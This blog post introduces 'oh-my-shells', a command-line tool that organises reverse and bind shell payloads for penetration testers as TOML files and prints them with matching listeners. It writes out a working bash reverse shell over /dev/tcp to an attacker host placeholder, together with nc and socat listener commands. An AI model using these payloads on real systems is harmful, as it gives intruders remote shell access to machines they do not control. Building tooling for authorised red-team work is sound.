Hi there! :D
This post is about a red-team tool I recently built — but first, let’s talk about the problem it solves.
Why? — The pain point
Every pentester needs payloads. Whether it’s bypassing file filters, sneaking past WAFs, or popping a shell with a quick /dev/tcp
trick — payloads are the bread and butter of red teaming.
But here’s the real issue: where do you keep them?
- Maybe you’ve got 10,000 gists bookmarked.
- Maybe there’s a dusty
payloads.txt
file sitting in your notes. - Maybe you spam-refresh revshells.com every time you need one.
All of these work, but none of them are perfect:
- revshells.com is handy, but its listeners don’t adapt to the payload (e.g. no UDP flags). Plus, switching between browser and terminal is clunky.
- Payload lists like PayloadAllTheThings are massive, but unless you know exactly where to look, you waste time searching.
- Your own notes can work — until they grow messy, unorganized, and slow you down.
At the end of the day, you spend more time digging than hacking.
So I thought: what if revshells.com existed on the CLI? Offline, structured, fast, and easy to extend.
Well… I couldn’t find it.
So I built it.
What? — Meet oh-my-shells
So what exactly is it?
oh-my-shells is basically a payload + listener manager for the terminal. Instead of digging through random notes or browser tabs, you can just use a simple CLI command and instantly get what you need.
The whole point is: search, pick, run.
Some of the main features are:
- 📜 List - Show all payloads or filter them by OS, type, protocol, and/or language.
- 🔍 Search — Quickly look up payloads by entering your search term and it'll try to find it on the shell name or description.
- 📺 Show - See extra details about any shell rather than just the name and description.
- ⚡ Generate — Load a payload and get both the payload itself and the compatible listeners.
- 🛠 Extend — Add your own payloads to the
shells/
(I'll explain this later) folder and they’ll just work with the same commands. - 🖥 CLI workflow — No switching windows, everything happens right where you’re working.
Example
Say you want a bash reverse shell. Instead of googling it (again), just:
- Run
oh-my-shells search bash
:
- Then run
oh-my-shells generate bash_udp --lhost 10.10.10.10 --lport 8080
:
And that’s it — you’re ready to go.
How? - Under the hood
So how does this thing actually work?
At its core, oh-my-shells is just a big organized collection of payload definitions written in TOML.
Every payload is a little self-contained .toml
file that describes:
- ✅ The ID and human-friendly name
- 🖥 The target OS, type (reverse/bind), protocol, and language
- 💬 A short description
- 💣 The actual payload string (with placeholders like
{{LHOST}}
and{{LPORT}}
) - 🎧 A set of compatible listeners (because not all netcats are equal)
- 🐚 Which shells it plays nicely with
Here’s a real example:
id = "bash_196"
name = "Bash 196"
os = "unix"
type = "reverse"
proto = "tcp"
lang = "bash"
description = "Uses file descriptor 196 to open a TCP connection to the specified host and port, then redirects IO through FD 196."
payload = "exec 196<>/dev/tcp/{{LHOST}}/{{LPORT}}; {{SHELL}} <&196 >&196 2>&196"
[listeners]
nc = "nc -lvnp {{LPORT}}"
busybox_nc = "busybox nc -lp {{LPORT}}"
socat = "socat -d -d TCP-LISTEN:{{LPORT}} STDOUT"
[shells]
compatible = ["bash", "/bin/bash", "/usr/bin/env bash", ...]
That’s it. The CLI just parses this TOML, fills in the placeholders, and shows you the right payload + listener. No magic, just structured data.
The file structure
To keep everything tidy (and make searching fast), payloads live in a Metasploit-style folder tree under shells/
.
It’s organized by OS, type, and protocol — so you can quickly drill down to what you need:
shells/
├── unix
│ ├── reverse
│ │ ├── tcp
│ │ │ ├── bash_196.toml
│ │ │ ├── perl_pentestmonkey.toml
│ │ │ ├── python3_shortest.toml
│ │ │ └── zsh.toml
│ │ │ └── ...
│ │ └── udp
│ │ ├── bash_udp.toml
│ │ │ └── ...
│ └── bind
│ └── tcp
│ ├── nc_bind.toml
│ ├── ...
│ └── perl_bind.toml
├── windows
│ └── reverse
│ └── tcp
│ ├── powershell_1.toml
│ ├── python3_windows.toml
│ ├── ...
│ └── nc_exe_e.toml
└── all
└── web
├── php_cmd.toml
├── ...
└── p0wny_shell.toml
Why TOML?
Because it's:
- human-readable (cleaner than JSON, less indentation pain than YAML),
- easy to parse in basically every language,
- and simple enough that contributors with low technical knowledge can add payloads without needing to dive too deep into the internals of this tool
All you need is to drop a .toml
in the right folder and boom — oh-my-shells picks it up.
Adding your own payload
Adding a new payload is ridiculously easy — no coding required. Just:
Pick the right folder
Find the folder that matches the OS, type, and protocol. For example:
shells/unix/reverse/tcp/
orshells/windows/reverse/http/
Copy an existing TOML as a template
cp bash_196.toml my_new_payload.toml
-
Edit your TOML
Change the
id
,name
,description
,payload
, andlisteners
. Make sure your have the{{LHOST}}
and{{LPORT}}
placeholders in the payload string. - List compatible shells Add any shells that your payload can safely run under:
[shells]
compatible = ["bash", "dash", "very-cool-stuff"]
Note: If your payload doesn't invoke any shell, like with the -i
flag for example, you can skip the shells
section completely.
- Done! oh-my-shells automatically detects the new file. Test it with:
oh-my-shells search new
oh-my-shells show my_new_payload
oh-my-shells generate my_new_payload -H 10.10.10.10 -P 4444
That’s it — your payload is now fully integrated and ready to use.
Want to get it?
Alright, getting this tool on your system is easy. It's programmed in C and really only needs the bare-minimum of the binary and the shells
folder on the same directory to work.
To install it you must at least have on your system: make
(plus it's dependencies), a proper Unix environment (WSL, macOS, practically any Linux distro), and for the one-liner I'm going to show cURL though you can run the install.sh
script in any way.
This install.sh
I just mentioned is the recommended install method, for a cURL one-liner that runs it you can use:
curl -fsSL https://raw.githubusercontent.com/ordinary-hacker/oh-my-shells/trunk/install.sh | sudo bash
The script will: clone the Github repository to /opt
, use make
to build the binary, symlink the resulting oh-my-shells
binary to /usr/local/bin/oh-my-shells
. And... as simple as that the tool is now installed!
Contributing & Feedback
Found a bug, have a recommendation, got a cool feature idea, or want to contribute by adding more payloads? Then you are completely free to open an issue/PR on the Github repository.
Top comments (0)